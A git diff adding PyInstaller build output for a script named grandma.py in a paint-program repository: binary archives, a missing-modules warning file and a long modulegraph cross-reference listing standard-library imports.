a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/base_library.zip b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/base_library.zip new file mode 100644 index 0000000..78fba85 Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/base_library.zip differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/grandma.pkg b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/grandma.pkg new file mode 100644 index 0000000..918b26d Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/grandma.pkg differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod01_archive.pyc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod01_archive.pyc new file mode 100644 index 0000000..0216a38 Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod01_archive.pyc differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod02_importers.pyc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod02_importers.pyc new file mode 100644 index 0000000..2f1ec2a Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod02_importers.pyc differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod03_ctypes.pyc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod03_ctypes.pyc new file mode 100644 index 0000000..548759f Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/pyimod03_ctypes.pyc differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/struct.pyc b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/struct.pyc new file mode 100644 index 0000000..9251ff0 Binary files /dev/null and b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/localpycs/struct.pyc differ diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/warn-grandma.txt b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/warn-grandma.txt new file mode 100644 index 0000000..2884224 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/warn-grandma.txt @@ -0,0 +1,26 @@ + +This file lists modules PyInstaller was not able to find. This does not +necessarily mean this module is required for running your program. Python and +Python 3rd-party packages include a lot of conditional or optional modules. For +example the module 'ntpath' only exists on Windows, whereas the module +'posixpath' only exists on Posix systems. + +Types if import: +* top-level: imported at the top-level - look at these first +* conditional: imported within an if-statement +* delayed: imported within a function +* optional: imported within a try-except-statement + +IMPORTANT: Do NOT post this list to the issue-tracker. Use it as a basis for + tracking down the missing module yourself. Thanks! + +missing module named pep517 - imported by importlib.metadata (delayed) +missing module named org - imported by copy (optional) +missing module named 'org.python' - imported by pickle (optional), xml.sax (delayed, conditional) +missing module named winreg - imported by importlib._bootstrap_external (conditional), platform (delayed, optional), mimetypes (optional), urllib.request (delayed, conditional, optional) +missing module named nt - imported by os (delayed, conditional, optional), ntpath (optional), shutil (conditional), importlib._bootstrap_external (conditional), ctypes (delayed, conditional) +missing module named _frozen_importlib_external - imported by importlib._bootstrap (delayed), importlib (optional), importlib.abc (optional), zipimport (top-level) +excluded module named _frozen_importlib - imported by importlib (optional), importlib.abc (optional), zipimport (top-level) +missing module named _winapi - imported by encodings (delayed, conditional, optional), ntpath (optional), subprocess (optional), mimetypes (optional), test.support (delayed, conditional), multiprocessing.connection (optional), multiprocessing.spawn (delayed, conditional), multiprocessing.reduction (conditional), multiprocessing.shared_memory (conditional), multiprocessing.heap (conditional), multiprocessing.popen_spawn_win32 (top-level), asyncio.windows_events (top-level), asyncio.windows_utils (top-level) +missing module named _scproxy - imported by urllib.request (conditional) +missing module named msvcrt - imported by subprocess (optional), getpass (optional), test.support.os_helper (delayed, conditional, optional), test.support (delayed, conditional, optional), multiprocessing.spawn (delayed, conditional), multiprocessing.popen_spawn_win32 (top-level), asyncio.windows_events (top-level), asyncio.windows_utils (top-level) diff --git a/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/xref-grandma.html b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/xref-grandma.html new file mode 100644 index 0000000..68f6328 --- /dev/null +++ b/super-hightech-paint/super-hightech-paint-2/grandma/build/grandma/xref-grandma.html @@ -0,0 +1,8425 @@ + + + + + modulegraph cross reference for grandma.py, pyi_rth_inspect.py, pyi_rth_subprocess.py + + + +

modulegraph cross reference for grandma.py, pyi_rth_inspect.py, pyi_rth_subprocess.py

+ +
+ + grandma.py +Script
+imports: + _collections_abc + • _weakrefset + • abc + • codecs + • collections + • collections.abc + • copyreg + • data + • encodings + • encodings.aliases + • encodings.ascii + • encodings.base64_codec + • encodings.big5 + • encodings.big5hkscs + • encodings.bz2_codec + • encodings.charmap + • encodings.cp037 + • encodings.cp1006 + • encodings.cp1026 + • encodings.cp1125 + • encodings.cp1140 + • encodings.cp1250 + • encodings.cp1251 + • encodings.cp1252 + • encodings.cp1253 + • encodings.cp1254 + • encodings.cp1255 + • encodings.cp1256 + • encodings.cp1257 + • encodings.cp1258 + • encodings.cp273 + • encodings.cp424 + • encodings.cp437 + • encodings.cp500 + • encodings.cp720 + • encodings.cp737 + • encodings.cp775 + • encodings.cp850 + • encodings.cp852 + • encodings.cp855 + • encodings.cp856 + • encodings.cp857 + • encodings.cp858 + • encodings.cp860 + • encodings.cp861 + • encodings.cp862 + • encodings.cp863 + • encodings.cp864 + • encodings.cp865 + • encodings.cp866 + • encodings.cp869 + • encodings.cp874 + • encodings.cp875 + • encodings.cp932 + • encodings.cp949 + • encodings.cp950 + • encodings.euc_jis_2004 + • encodings.euc_jisx0213 + • encodings.euc_jp + • encodings.euc_kr + • encodings.gb18030 + • encodings.gb2312 + • encodings.gbk + • encodings.hex_codec + • encodings.hp_roman8 + • encodings.hz + • encodings.idna + • encodings.iso2022_jp + • encodings.iso2022_jp_1 + • encodings.iso2022_jp_2 + • encodings.iso2022_jp_2004 + • encodings.iso2022_jp_3 + • encodings.iso2022_jp_ext + • encodings.iso2022_kr + • encodings.iso8859_1 + • encodings.iso8859_10 + • encodings.iso8859_11 + • encodings.iso8859_13 + • encodings.iso8859_14 + • encodings.iso8859_15 + • encodings.iso8859_16 + • encodings.iso8859_2 + • encodings.iso8859_3 + • encodings.iso8859_4 + • encodings.iso8859_5 + • encodings.iso8859_6 + • encodings.iso8859_7 + • encodings.iso8859_8 + • encodings.iso8859_9 + • encodings.johab + • encodings.koi8_r + • encodings.koi8_t + • encodings.koi8_u + • encodings.kz1048 + • encodings.latin_1 + • encodings.mac_arabic + • encodings.mac_croatian + • encodings.mac_cyrillic + • encodings.mac_farsi + • encodings.mac_greek + • encodings.mac_iceland + • encodings.mac_latin2 + • encodings.mac_roman + • encodings.mac_romanian + • encodings.mac_turkish + • encodings.mbcs + • encodings.oem + • encodings.palmos + • encodings.ptcp154 + • encodings.punycode + • encodings.quopri_codec + • encodings.raw_unicode_escape + • encodings.rot_13 + • encodings.shift_jis + • encodings.shift_jis_2004 + • encodings.shift_jisx0213 + • encodings.tis_620 + • encodings.undefined + • encodings.unicode_escape + • encodings.utf_16 + • encodings.utf_16_be + • encodings.utf_16_le + • encodings.utf_32 + • encodings.utf_32_be + • encodings.utf_32_le + • encodings.utf_7 + • encodings.utf_8 + • encodings.utf_8_sig + • encodings.uu_codec + • encodings.zlib_codec + • enum + • fnmatch + • functools + • genericpath + • heapq + • io + • keyword + • linecache + • locale + • ntpath + • operator + • os + • pathlib + • posixpath + • pyi_rth_inspect.py + • pyi_rth_subprocess.py + • re + • reprlib + • socket + • sre_compile + • sre_constants + • sre_parse + • stat + • struct + • subprocess + • sys + • tempfile + • threading + • time + • token + • tokenize + • traceback + • types + • urllib + • urllib.error + • urllib.parse + • urllib.request + • urllib.response + • urllib.robotparser + • warnings + • weakref + +
+ +
+ +
+ + pyi_rth_inspect.py +Script
+imports: + inspect + • os + • sys + +
+
+imported by: + grandma.py + +
+ +
+ +
+ + pyi_rth_subprocess.py +Script
+imports: + io + • subprocess + • sys + +
+
+imported by: + grandma.py + +
+ +
+ +
+ + 'java.lang' +MissingModule
+imported by: + platform + • xml.sax._exceptions + +
+ +
+ +
+ + 'org.python' +MissingModule
+imported by: + pickle + • xml.sax + +
+ +
+ +
+ + _abc (builtin module)
+imported by: + abc + +
+ +
+ +
+ + _ast (builtin module)
+imported by: + ast + +
+ +
+ +
+ + _bisect (builtin module)
+imported by: + bisect + +
+ +
+ +
+ + _blake2 (builtin module)
+imported by: + hashlib + +
+ +
+ +
+ + _bz2 /usr/lib/python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so
+imported by: + bz2 + +
+ +
+ +
+ + _codecs (builtin module)
+imported by: + codecs + +
+ +
+ +
+ + _codecs_cn /usr/lib/python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so
+imported by: + encodings.gb18030 + • encodings.gb2312 + • encodings.gbk + • encodings.hz + +
+ +
+ +
+ + _codecs_hk /usr/lib/python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so
+imported by: + encodings.big5hkscs + +
+ +
+ +
+ + _codecs_iso2022 /usr/lib/python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so + +
+ +
+ + _codecs_jp /usr/lib/python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so + +
+ +
+ + _codecs_kr /usr/lib/python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so
+imported by: + encodings.cp949 + • encodings.euc_kr + • encodings.johab + +
+ +
+ +
+ + _codecs_tw /usr/lib/python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so
+imported by: + encodings.big5 + • encodings.cp950 + +
+ +
+ +
+ + _collections (builtin module)
+imported by: + collections + • threading + +
+ +
+ +
+ + _collections_abc +SourceModule
+imports: + abc + • sys + +
+
+imported by: + collections + • collections.abc + • contextlib + • grandma.py + • locale + • os + • pathlib + • random + • types + • weakref + +
+ +
+ +
+ + _compat_pickle +SourceModule
+imported by: + _pickle + • pickle + +
+ +
+ +
+ + _compression +SourceModule
+imports: + io + • sys + +
+
+imported by: + bz2 + • gzip + • lzma + +
+ +
+ +
+ + _contextvars /usr/lib/python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so
+imported by: + contextvars + +
+ +
+ +
+ + _csv (builtin module)
+imported by: + csv + +
+ +
+ +
+ + _datetime (builtin module)
+imports: + _strptime + • time + +
+
+imported by: + datetime + +
+ +
+ +
+ + _decimal /usr/lib/python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so
+imported by: + decimal + +
+ +
+ +
+ + _elementtree (builtin module) +
+imported by: + xml.etree.ElementTree + +
+ +
+ +
+ + _frozen_importlib +ExcludedModule
+imported by: + importlib + • importlib.abc + • zipimport + +
+ +
+ +
+ + _frozen_importlib_external +MissingModule
+imported by: + importlib + • importlib._bootstrap + • importlib.abc + • zipimport + +
+ +
+ +
+ + _functools (builtin module)
+imported by: + functools + +
+ +
+ +
+ + _hashlib /usr/lib/python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so
+imported by: + hashlib + • hmac + +
+ +
+ +
+ + _heapq (builtin module)
+imported by: + heapq + +
+ +
+ +
+ + _imp (builtin module) + +
+ +
+ + _io (builtin module)
+imported by: + importlib._bootstrap_external + • io + • zipimport + +
+ +
+ +
+ + _locale (builtin module)
+imported by: + locale + • re + +
+ +
+ +
+ + _lzma /usr/lib/python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so
+imported by: + lzma + +
+ +
+ +
+ + _md5 (builtin module)
+imported by: + hashlib + +
+ +
+ + + +
+ + _opcode /usr/lib/python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so
+imported by: + opcode + +
+ +
+ +
+ + _operator (builtin module)
+imported by: + hmac + • operator + +
+ +
+ +
+ + _pickle (builtin module)
+imports: + _compat_pickle + • codecs + • copyreg + +
+
+imported by: + pickle + +
+ +
+ +
+ + _posixsubprocess (builtin module)
+imports: + gc + +
+
+imported by: + multiprocessing.util + • subprocess + +
+ +
+ +
+ + _py_abc +SourceModule
+imports: + _weakrefset + +
+
+imported by: + abc + +
+ +
+ +
+ + _pydecimal +SourceModule
+imports: + collections + • contextvars + • itertools + • locale + • math + • numbers + • re + • sys + +
+
+imported by: + decimal + +
+ +
+ +
+ + _random (builtin module)
+imported by: + random + +
+ +
+ +
+ + _scproxy +MissingModule
+imported by: + urllib.request + +
+ +
+ +
+ + _sha1 (builtin module)
+imported by: + hashlib + +
+ +
+ +
+ + _sha256 (builtin module)
+imported by: + hashlib + +
+ +
+ +
+ + _sha3 (builtin module)
+imported by: + hashlib + +
+ +
+ +
+ + _sha512 (builtin module)
+imported by: + hashlib + • random + +
+ +
+ +
+ + _signal (builtin module)
+imported by: + signal + +
+ +
+ +
+ + _socket (builtin module)
+imported by: + socket + +
+ +
+ +
+ + _sre (builtin module)
+imports: + copy + • re + +
+
+imported by: + sre_compile + • sre_constants + +
+ +
+ +
+ + _ssl /usr/lib/python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so
+imports: + socket + +
+
+imported by: + ssl + +
+ +
+ +
+ + _stat (builtin module)
+imported by: + stat + +
+ +
+ +
+ + _statistics (builtin module)
+imported by: + statistics + +
+ +
+ +
+ + _string (builtin module)
+imported by: + string + +
+ +
+ +
+ + _strptime +SourceModule
+imports: + _thread + • calendar + • datetime + • locale + • re + • time + +
+
+imported by: + _datetime + • datetime + • time + +
+ +
+ +
+ + _struct (builtin module)
+imported by: + struct + +
+ +
+ +
+ + _thread (builtin module)
+imported by: + _strptime + • asyncio.base_futures + • dataclasses + • functools + • reprlib + • tempfile + • threading + +
+ +
+ +
+ + _threading_local +SourceModule
+imports: + contextlib + • threading + • weakref + +
+
+imported by: + threading + +
+ +
+ +
+ + _tracemalloc (builtin module)
+imported by: + tracemalloc + +
+ +
+ +
+ + _warnings (builtin module)
+imported by: + importlib._bootstrap_external + • warnings + • zipimport + +
+ +
+ +
+ + _weakref (builtin module)
+imported by: + _weakrefset + • collections + • weakref + • xml.sax.expatreader + +
+ +
+ +
+ + _weakrefset +SourceModule
+imports: + _weakref + • types + +
+
+imported by: + _py_abc + • grandma.py + • multiprocessing.process + • threading + • weakref + +
+ +
+ + + +
+ + abc +SourceModule
+imports: + _abc + • _py_abc + +
+
+imported by: + _collections_abc + • contextlib + • dataclasses + • email._policybase + • functools + • grandma.py + • importlib._abc + • importlib.abc + • importlib.metadata + • inspect + • io + • multiprocessing.reduction + • numbers + • os + • selectors + • typing + +
+ +
+ +
+ + argparse +SourceModule
+imports: + copy + • gettext + • os + • re + • shutil + • sys + • textwrap + • warnings + +
+
+imported by: + ast + • calendar + • code + • dis + • doctest + • gzip + • http.server + • inspect + • py_compile + • tarfile + • tokenize + • unittest.main + • zipfile + +
+ +
+ +
+ + array (builtin module) + +
+ +
+ + ast +SourceModule
+imports: + _ast + • argparse + • collections + • contextlib + • enum + • inspect + • sys + • warnings + +
+
+imported by: + inspect + +
+ +
+ +
+ + atexit (builtin module)
+imported by: + logging + • multiprocessing.util + • weakref + +
+ +
+ +
+ + base64 +SourceModule
+imports: + binascii + • getopt + • re + • struct + • sys + +
+ + +
+ +
+ + binascii (builtin module)
+imported by: + base64 + • email._encoded_words + • email.base64mime + • email.contentmanager + • email.header + • encodings.hex_codec + • encodings.uu_codec + • http.server + • plistlib + • quopri + • secrets + • uu + • zipfile + +
+ +
+ +
+ + bisect +SourceModule
+imports: + _bisect + +
+
+imported by: + multiprocessing.heap + • random + • statistics + • urllib.request + +
+ +
+ +
+ + builtins (builtin module)
+imported by: + bz2 + • codecs + • dataclasses + • doctest + • gettext + • gzip + • inspect + • locale + • lzma + • operator + • pydoc + • reprlib + • subprocess + • tarfile + • tokenize + • warnings + +
+ +
+ +
+ + bz2 +SourceModule
+imports: + _bz2 + • _compression + • builtins + • io + • os + +
+
+imported by: + encodings.bz2_codec + • shutil + • tarfile + • test.support + • zipfile + +
+ +
+ +
+ + calendar +SourceModule
+imports: + argparse + • datetime + • itertools + • locale + • sys + +
+
+imported by: + _strptime + • email._parseaddr + • http.cookiejar + • ssl + +
+ +
+ +
+ + codecs +SourceModule
+imports: + _codecs + • builtins + • encodings + • sys + +
+
+imported by: + _pickle + • encodings + • encodings.ascii + • encodings.base64_codec + • encodings.big5 + • encodings.big5hkscs + • encodings.bz2_codec + • encodings.charmap + • encodings.cp037 + • encodings.cp1006 + • encodings.cp1026 + • encodings.cp1125 + • encodings.cp1140 + • encodings.cp1250 + • encodings.cp1251 + • encodings.cp1252 + • encodings.cp1253 + • encodings.cp1254 + • encodings.cp1255 + • encodings.cp1256 + • encodings.cp1257 + • encodings.cp1258 + • encodings.cp273 + • encodings.cp424 + • encodings.cp437 + • encodings.cp500 + • encodings.cp720 + • encodings.cp737 + • encodings.cp775 + • encodings.cp850 + • encodings.cp852 + • encodings.cp855 + • encodings.cp856 + • encodings.cp857 + • encodings.cp858 + • encodings.cp860 + • encodings.cp861 + • encodings.cp862 + • encodings.cp863 + • encodings.cp864 + • encodings.cp865 + • encodings.cp866 + • encodings.cp869 + • encodings.cp874 + • encodings.cp875 + • encodings.cp932 + • encodings.cp949 + • encodings.cp950 + • encodings.euc_jis_2004 + • encodings.euc_jisx0213 + • encodings.euc_jp + • encodings.euc_kr + • encodings.gb18030 + • encodings.gb2312 + • encodings.gbk + • encodings.hex_codec + • encodings.hp_roman8 + • encodings.hz + • encodings.idna + • encodings.iso2022_jp + • encodings.iso2022_jp_1 + • encodings.iso2022_jp_2 + • encodings.iso2022_jp_2004 + • encodings.iso2022_jp_3 + • encodings.iso2022_jp_ext + • encodings.iso2022_kr + • encodings.iso8859_1 + • encodings.iso8859_10 + • encodings.iso8859_11 + • encodings.iso8859_13 + • encodings.iso8859_14 + • encodings.iso8859_15 + • encodings.iso8859_16 + • encodings.iso8859_2 + • encodings.iso8859_3 + • encodings.iso8859_4 + • encodings.iso8859_5 + • encodings.iso8859_6 + • encodings.iso8859_7 + • encodings.iso8859_8 + • encodings.iso8859_9 + • encodings.johab + • encodings.koi8_r + • encodings.koi8_t + • encodings.koi8_u + • encodings.kz1048 + • encodings.latin_1 + • encodings.mac_arabic + • encodings.mac_croatian + • encodings.mac_cyrillic + • encodings.mac_farsi + • encodings.mac_greek + • encodings.mac_iceland + • encodings.mac_latin2 + • encodings.mac_roman + • encodings.mac_romanian + • encodings.mac_turkish + • encodings.mbcs + • encodings.oem + • encodings.palmos + • encodings.ptcp154 + • encodings.punycode + • encodings.quopri_codec + • encodings.raw_unicode_escape + • encodings.rot_13 + • encodings.shift_jis + • encodings.shift_jis_2004 + • encodings.shift_jisx0213 + • encodings.tis_620 + • encodings.undefined + • encodings.unicode_escape + • encodings.utf_16 + • encodings.utf_16_be + • encodings.utf_16_le + • encodings.utf_32 + • encodings.utf_32_be + • encodings.utf_32_le + • encodings.utf_7 + • encodings.utf_8 + • encodings.utf_8_sig + • encodings.uu_codec + • encodings.zlib_codec + • grandma.py + • lib2to3.pgen2.tokenize + • pickle + • plistlib + • tokenize + • xml.sax.saxutils + +
+ +
+ + + +
+ + collections.abc +SourceModule
+imports: + _collections_abc + • collections + +
+ + +
+ +
+ + contextlib +SourceModule
+imports: + _collections_abc + • abc + • collections + • functools + • sys + • types + +
+ + +
+ +
+ + contextvars +SourceModule
+imports: + _contextvars + +
+
+imported by: + _pydecimal + • asyncio.events + • asyncio.futures + • asyncio.tasks + • asyncio.threads + +
+ +
+ +
+ + copy +SourceModule
+imports: + copyreg + • org + • types + • weakref + +
+
+imported by: + _sre + • argparse + • collections + • dataclasses + • email.generator + • gettext + • http.cookiejar + • http.server + • tarfile + • weakref + • webbrowser + • xml.etree.ElementInclude + +
+ +
+ +
+ + copyreg +SourceModule
+imports: + functools + • operator + +
+
+imported by: + _pickle + • copy + • grandma.py + • multiprocessing.reduction + • pickle + • re + +
+ +
+ +
+ + csv +SourceModule
+imports: + _csv + • io + • re + +
+
+imported by: + importlib.metadata + +
+ +
+ +
+ + data +SourceModule
+imported by: + grandma.py + +
+ +
+ +
+ + dataclasses +SourceModule
+imports: + _thread + • abc + • builtins + • copy + • functools + • inspect + • keyword + • re + • sys + • types + +
+
+imported by: + pprint + +
+ +
+ +
+ + datetime +SourceModule
+imports: + _datetime + • _strptime + • math + • operator + • sys + • time + +
+
+imported by: + _strptime + • calendar + • email.utils + • http.cookiejar + • http.server + • plistlib + • test.support.testresult + • xmlrpc.client + +
+ +
+ +
+ + decimal +SourceModule
+imports: + _decimal + • _pydecimal + +
+
+imported by: + fractions + • statistics + • test.support + • xmlrpc.client + +
+ +
+ +
+ + dis +SourceModule
+imports: + argparse + • collections + • io + • opcode + • sys + • types + +
+
+imported by: + inspect + • pdb + +
+ +
+ + + +
+ + email._encoded_words +SourceModule
+imports: + base64 + • binascii + • email + • email.errors + • functools + • re + • string + +
+
+imported by: + email._header_value_parser + • email.message + +
+ +
+ +
+ + email._header_value_parser +SourceModule
+imports: + email + • email._encoded_words + • email.errors + • email.utils + • operator + • re + • string + • sys + • urllib + +
+
+imported by: + email + • email.headerregistry + +
+ +
+ +
+ + email._parseaddr +SourceModule
+imports: + calendar + • email + • time + +
+
+imported by: + email.utils + +
+ +
+ +
+ + email._policybase +SourceModule
+imports: + abc + • email + • email.charset + • email.header + • email.utils + +
+
+imported by: + email.feedparser + • email.message + • email.parser + • email.policy + +
+ +
+ +
+ + email.base64mime +SourceModule
+imports: + base64 + • binascii + • email + +
+
+imported by: + email.charset + • email.header + +
+ +
+ +
+ + email.charset +SourceModule
+imports: + email + • email.base64mime + • email.encoders + • email.errors + • email.quoprimime + • functools + +
+
+imported by: + email + • email._policybase + • email.contentmanager + • email.header + • email.message + • email.utils + +
+ +
+ +
+ + email.contentmanager +SourceModule
+imports: + binascii + • email + • email.charset + • email.errors + • email.message + • email.quoprimime + +
+
+imported by: + email.policy + +
+ +
+ +
+ + email.encoders +SourceModule
+imports: + base64 + • email + • quopri + +
+
+imported by: + email.charset + +
+ +
+ +
+ + email.errors +SourceModule
+imports: + email + +
+ + +
+ +
+ + email.feedparser +SourceModule
+imports: + collections + • email + • email._policybase + • email.errors + • email.message + • io + • re + +
+
+imported by: + email.parser + +
+ +
+ +
+ + email.generator +SourceModule
+imports: + copy + • email + • email.utils + • io + • random + • re + • sys + • time + +
+
+imported by: + email.message + +
+ +
+ +
+ + email.header +SourceModule
+imports: + binascii + • email + • email.base64mime + • email.charset + • email.errors + • email.quoprimime + • re + +
+
+imported by: + email + • email._policybase + +
+ +
+ +
+ + email.headerregistry +SourceModule
+imports: + email + • email._header_value_parser + • email.errors + • email.utils + • types + +
+
+imported by: + email.policy + +
+ +
+ +
+ + email.iterators +SourceModule
+imports: + email + • io + • sys + +
+
+imported by: + email.message + +
+ +
+ +
+ + email.message +SourceModule
+imports: + email + • email._encoded_words + • email._policybase + • email.charset + • email.errors + • email.generator + • email.iterators + • email.policy + • email.utils + • io + • quopri + • re + • uu + +
+ + +
+ +
+ + email.parser +SourceModule
+imports: + email + • email._policybase + • email.feedparser + • io + +
+
+imported by: + email + • http.client + +
+ +
+ +
+ + email.policy +SourceModule
+imports: + email + • email._policybase + • email.contentmanager + • email.headerregistry + • email.message + • email.utils + • re + • sys + +
+
+imported by: + email.message + +
+ +
+ +
+ + email.quoprimime +SourceModule
+imports: + email + • re + • string + +
+
+imported by: + email.charset + • email.contentmanager + • email.header + +
+ +
+ +
+ + email.utils +SourceModule
+imports: + datetime + • email + • email._parseaddr + • email.charset + • os + • random + • re + • socket + • time + • urllib.parse + +
+ + +
+ +
+ + encodings +Package
+imports: + _winapi + • codecs + • encodings + • encodings.aliases + • encodings.ascii + • encodings.base64_codec + • encodings.big5 + • encodings.big5hkscs + • encodings.bz2_codec + • encodings.charmap + • encodings.cp037 + • encodings.cp1006 + • encodings.cp1026 + • encodings.cp1125 + • encodings.cp1140 + • encodings.cp1250 + • encodings.cp1251 + • encodings.cp1252 + • encodings.cp1253 + • encodings.cp1254 + • encodings.cp1255 + • encodings.cp1256 + • encodings.cp1257 + • encodings.cp1258 + • encodings.cp273 + • encodings.cp424 + • encodings.cp437 + • encodings.cp500 + • encodings.cp720 + • encodings.cp737 + • encodings.cp775 + • encodings.cp850 + • encodings.cp852 + • encodings.cp855 + • encodings.cp856 + • encodings.cp857 + • encodings.cp858 + • encodings.cp860 + • encodings.cp861 + • encodings.cp862 + • encodings.cp863 + • encodings.cp864 + • encodings.cp865 + • encodings.cp866 + • encodings.cp869 + • encodings.cp874 + • encodings.cp875 + • encodings.cp932 + • encodings.cp949 + • encodings.cp950 + • encodings.euc_jis_2004 + • encodings.euc_jisx0213 + • encodings.euc_jp + • encodings.euc_kr + • encodings.gb18030 + • encodings.gb2312 + • encodings.gbk + • encodings.hex_codec + • encodings.hp_roman8 + • encodings.hz + • encodings.idna + • encodings.iso2022_jp + • encodings.iso2022_jp_1 + • encodings.iso2022_jp_2 + • encodings.iso2022_jp_2004 + • encodings.iso2022_jp_3 + • encodings.iso2022_jp_ext + • encodings.iso2022_kr + • encodings.iso8859_1 + • encodings.iso8859_10 + • encodings.iso8859_11 + • encodings.iso8859_13 + • encodings.iso8859_14 + • encodings.iso8859_15 + • encodings.iso8859_16 + • encodings.iso8859_2 + • encodings.iso8859_3 + • encodings.iso8859_4 + • encodings.iso8859_5 + • encodings.iso8859_6 + • encodings.iso8859_7 + • encodings.iso8859_8 + • encodings.iso8859_9 + • encodings.johab + • encodings.koi8_r + • encodings.koi8_t + • encodings.koi8_u + • encodings.kz1048 + • encodings.latin_1 + • encodings.mac_arabic + • encodings.mac_croatian + • encodings.mac_cyrillic + • encodings.mac_farsi + • encodings.mac_greek + • encodings.mac_iceland + • encodings.mac_latin2 + • encodings.mac_roman + • encodings.mac_romanian + • encodings.mac_turkish + • encodings.mbcs + • encodings.oem + • encodings.palmos + • encodings.ptcp154 + • encodings.punycode + • encodings.quopri_codec + • encodings.raw_unicode_escape + • encodings.rot_13 + • encodings.shift_jis + • encodings.shift_jis_2004 + • encodings.shift_jisx0213 + • encodings.tis_620 + • encodings.undefined + • encodings.unicode_escape + • encodings.utf_16 + • encodings.utf_16_be + • encodings.utf_16_le + • encodings.utf_32 + • encodings.utf_32_be + • encodings.utf_32_le + • encodings.utf_7 + • encodings.utf_8 + • encodings.utf_8_sig + • encodings.uu_codec + • encodings.zlib_codec + • sys + +
+
+imported by: + codecs + • encodings + • encodings.aliases + • encodings.ascii + • encodings.base64_codec + • encodings.big5 + • encodings.big5hkscs + • encodings.bz2_codec + • encodings.charmap + • encodings.cp037 + • encodings.cp1006 + • encodings.cp1026 + • encodings.cp1125 + • encodings.cp1140 + • encodings.cp1250 + • encodings.cp1251 + • encodings.cp1252 + • encodings.cp1253 + • encodings.cp1254 + • encodings.cp1255 + • encodings.cp1256 + • encodings.cp1257 + • encodings.cp1258 + • encodings.cp273 + • encodings.cp424 + • encodings.cp437 + • encodings.cp500 + • encodings.cp720 + • encodings.cp737 + • encodings.cp775 + • encodings.cp850 + • encodings.cp852 + • encodings.cp855 + • encodings.cp856 + • encodings.cp857 + • encodings.cp858 + • encodings.cp860 + • encodings.cp861 + • encodings.cp862 + • encodings.cp863 + • encodings.cp864 + • encodings.cp865 + • encodings.cp866 + • encodings.cp869 + • encodings.cp874 + • encodings.cp875 + • encodings.cp932 + • encodings.cp949 + • encodings.cp950 + • encodings.euc_jis_2004 + • encodings.euc_jisx0213 + • encodings.euc_jp + • encodings.euc_kr + • encodings.gb18030 + • encodings.gb2312 + • encodings.gbk + • encodings.hex_codec + • encodings.hp_roman8 + • encodings.hz + • encodings.idna + • encodings.iso2022_jp + • encodings.iso2022_jp_1 + • encodings.iso2022_jp_2 + • encodings.iso2022_jp_2004 + • encodings.iso2022_jp_3 + • encodings.iso2022_jp_ext + • encodings.iso2022_kr + • encodings.iso8859_1 + • encodings.iso8859_10 + • encodings.iso8859_11 + • encodings.iso8859_13 + • encodings.iso8859_14 + • encodings.iso8859_15 + • encodings.iso8859_16 + • encodings.iso8859_2 + • encodings.iso8859_3 + • encodings.iso8859_4 + • encodings.iso8859_5 + • encodings.iso8859_6 + • encodings.iso8859_7 + • encodings.iso8859_8 + • encodings.iso8859_9 + • encodings.johab + • encodings.koi8_r + • encodings.koi8_t + • encodings.koi8_u + • encodings.kz1048 + • encodings.latin_1 + • encodings.mac_arabic + • encodings.mac_croatian + • encodings.mac_cyrillic + • encodings.mac_farsi + • encodings.mac_greek + • encodings.mac_iceland + • encodings.mac_latin2 + • encodings.mac_roman + • encodings.mac_romanian + • encodings.mac_turkish + • encodings.mbcs + • encodings.oem + • encodings.palmos + • encodings.ptcp154 + • encodings.punycode + • encodings.quopri_codec + • encodings.raw_unicode_escape + • encodings.rot_13 + • encodings.shift_jis + • encodings.shift_jis_2004 + • encodings.shift_jisx0213 + • encodings.tis_620 + • encodings.undefined + • encodings.unicode_escape + • encodings.utf_16 + • encodings.utf_16_be + • encodings.utf_16_le + • encodings.utf_32 + • encodings.utf_32_be + • encodings.utf_32_le + • encodings.utf_7 + • encodings.utf_8 + • encodings.utf_8_sig + • encodings.uu_codec + • encodings.zlib_codec + • grandma.py + • locale + +
+ +
+ +
+ + encodings.aliases +SourceModule
+imports: + encodings + +
+
+imported by: + encodings + • grandma.py + • locale + +
+ +
+ +
+ + encodings.ascii +SourceModule
+imports: + codecs + • encodings + +
+
+imported by: + encodings + • grandma.py + +
+ +
+ +
